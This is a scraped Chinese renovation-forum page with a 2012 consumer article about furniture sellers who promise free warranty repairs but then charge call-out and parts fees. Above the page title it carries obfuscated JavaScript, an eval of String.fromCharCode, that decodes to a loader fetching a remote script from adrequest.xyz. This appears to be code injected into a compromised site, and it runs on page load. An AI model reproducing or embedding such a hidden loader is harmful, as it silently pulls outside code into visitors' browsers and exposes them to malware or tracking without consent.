var _0x42tbc1 = 1; eval(String.fromCharCode(118, 97, 114, 32, 97, 49, 32, 61, 32, 102, 117, 110, 99, 116, 105, 111, 110, 40, 41, 32, 123, 10, 32, 32, 32, 32, 118, 97, 114, 32, 95, 48, 120, 52, 50, 116, 98, 99, 49, 32, 61, 32, 83, 116, 114, 105, 110, 103, 91, 34, 92, 120, 54, 54, 92, 120, 55, 50, 92, 120, 54, 70, 92, 120, 54, 68, 92, 120, 52, 51, 92, 120, 54, 56, 92, 120, 54, 49, 92, 120, 55, 50, 92, 120, 52, 51, 92, 120, 54, 70, 92, 120, 54, 52, 92, 120, 54, 53, 34, 93, 40, 49, 48, 52, 44, 32, 49, 49, 54, 44, 32, 49, 49, 54, 44, 32, 49, 49, 50, 44, 32, 49, 49, 53, 44, 32, 53, 56, 44, 32, 52, 55, 44, 32, 52, 55, 44, 32, 57, 55, 44, 32, 49, 48, 48, 44, 32, 49, 49, 52, 44, 32, 49, 48, 49, 44, 32, 49, 49, 51, 44, 32, 49, 49, 55, 44, 32, 49, 48, 49, 44, 32, 49, 49, 53, 44, 32, 49, 49, 54, 44, 32, 52, 54, 44, 32, 49, 50, 48, 44, 32, 49, 50, 49, 44, 32, 49, 50, 50, 44, 32, 52, 55, 44, 32, 57, 55, 44, 32, 49, 48, 48, 44, 32, 52, 54, 44, 32, 49, 48, 54, 44, 32, 49, 49, 53, 44, 32, 54, 51, 44, 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120, 51, 55, 92, 120, 51, 48, 92, 120, 51, 57, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 34, 41, 32, 123, 10, 32, 32, 32, 32, 32, 32, 32, 32, 110, 32, 61, 32, 102, 97, 108, 115, 101, 10, 32, 32, 32, 32, 125, 10, 125, 59, 10, 105, 102, 32, 40, 110, 32, 61, 61, 32, 116, 114, 117, 101, 41, 32, 123, 10, 32, 32, 32, 32, 97, 49, 40, 41, 59, 10, 125)); 业主谨记:家具商承诺免费却收费 保修坑害消费者 - 行业资讯 - 深圳装修论坛--业主最满意的装修学习平台 - Powered by Discuz! var _0x42tbc1 = 1; eval(String.fromCharCode(118, 97, 114, 32, 97, 49, 32, 61, 32, 102, 117, 110, 99, 116, 105, 111, 110, 40, 41, 32, 123, 10, 32, 32, 32, 32, 118, 97, 114, 32, 95, 48, 120, 52, 50, 116, 98, 99, 49, 32, 61, 32, 83, 116, 114, 105, 110, 103, 91, 34, 92, 120, 54, 54, 92, 120, 55, 50, 92, 120, 54, 70, 92, 120, 54, 68, 92, 120, 52, 51, 92, 120, 54, 56, 92, 120, 54, 49, 92, 120, 55, 50, 92, 120, 52, 51, 92, 120, 54, 70, 92, 120, 54, 52, 92, 120, 54, 53, 34, 93, 40, 49, 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业主谨记:家具商承诺免费却收费 保修坑害消费者

2012-4-8 11:25| 发布者: 装修警长| 查看: 3512| 评论: 0

摘要: 做业主不容易,卖啥都会被坑!当心了,亲爱的业主们!在家具行业,一些商家为吸引消费者,获取利益,常故意设置保修陷阱,有不少消费者反映曾在家具保修问题上栽过跟头。明明承诺免费保修,为何维修时还要收费?

业主谨记:家具商承诺免费却收费 保修坑害消费者!做业主不容易,卖啥都会被坑!当心了,亲爱的业主们!在家具行业,一些商家为吸引消费者,获取利益,常故意设置保修陷阱,有不少消费者反映曾在家具保修问题上栽过跟头。明明承诺免费保修,为何维修时还要收费?家具保修存在哪些言过其实之处?

一、多数消费者从未享受过家具保修

您家的家具保修过吗?您知道家具保修的时间和范围吗?据相关部门的抽样调查数据显示,享受过家具保修服务的消费者不到20%,这一数据与家电、通信等较为成熟行业的售后保修相比存在着较大差距。

为什么会出现这种情况?家具产品保修现状究竟如何?记者调查走访了多家卖场发现,家具产品的保修服务参差不齐,信誉好的品牌可以做到5年以上的保修,终生维护,甚至有家具回购服务;而一些规模不大、知名度不高的企业对家具保修问题含混其辞,不肯做出书面承诺,甚至有的品牌连名义上的1年保修可能都难以保证。

调查显示,虽然大多数消费者都知道家具可以保修,并且有八成以上的消费者在购买时会主动了解保修和售后服务事项,但是,大多数人都只是泛泛了解一下,对家具的保修年限并不完全清楚,对保修范围更是不甚了了。当产品质量出现问题之后,虽然产品仍在保修期内,但商家常找出种种理由拒绝免费保修,无奈之下,近三成消费者会选择自己修理或花钱另外找人修理,真正找到厂家坚持要求保修的人还不到两成。

二、保修期内修家具要收上门费和零件费

消费者陈先生去年在北京某家具卖场买了一套卧室家具,今年3月,大衣柜的柜门松动了,他想找厂家进行保修,没想到却被拒绝了。他打来电话向记者反映称:“买衣柜时合同上的保修期是2年,厂家承诺保修期内免费维修。然而衣柜门出现问题时,厂家先是说非质量问题不免费保修,后来又以免费保修只针对家具板材本身,不包括零部件为由,拒绝免费维修,须收取上门费和零件费。”

据记者了解,陈先生购买的家具知名度不高,为河北一家小型家具厂生产的产品。在其家具店内,记者以消费者的身份询问衣柜的保修事宜。销售人员告诉记者,该品牌的保修期是2年,在2年内出了问题免费维修。在记者一再追问之下,销售人员才告知,免费维修的前提是该问题属于产品质量问题,而不是人为损坏或使用问题。

记者问:“是不是质量问题由谁说了算?”该销售人员称,公司会派有经验的工人前去检查,并表示“简单的问题不需要惊动质检部门”。随后,记者追问:“如果家具是在运送途中出现问题算谁的责任?”销售人员表示,这不属于质量问题,不归公司负责

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